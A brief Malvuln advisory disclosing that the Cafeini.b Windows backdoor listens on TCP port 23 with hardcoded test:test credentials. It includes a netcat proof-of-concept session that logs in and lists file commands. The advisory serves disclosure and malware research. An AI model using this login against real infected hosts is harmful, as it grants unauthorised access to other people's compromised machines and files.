Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/851f8945d1b5923990f4722d627156a0.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Cafeini.b
Vulnerability: Weak Hardcoded Credentials 
Description: The malware listens on TCP port 23. Authentication is required, however the credentials test:test are weak and hardcoded within the PE file.
Family: Cafeini
Type: PE32
MD5: 851f8945d1b5923990f4722d627156a0
Vuln ID: MVID-2022-0568
Disclosure: 04/26/2022


Exploit/PoC:
C:\>nc64.exe x.x.x.x 23
220 CAFEiNi 1.1 FTP server
USER test
331 enter your password (PASS)
PASS test
230 you're logged in, have a fun
SYST
215 WIN32 L 8 (CAFEiNi 1.1 FTP server)
PASV
500 unknown command "pasv"
HELP
214-CAFEiNi 1.1 FTP server supported commands:
 ABOR CDUP CWD DELE HELP LIST MKD  MODE NOOP PASS
 PWD  QUIT RETR RMD RNFR RNTO STOR SYST TYPE USER
214 and you don't need more commands, I think


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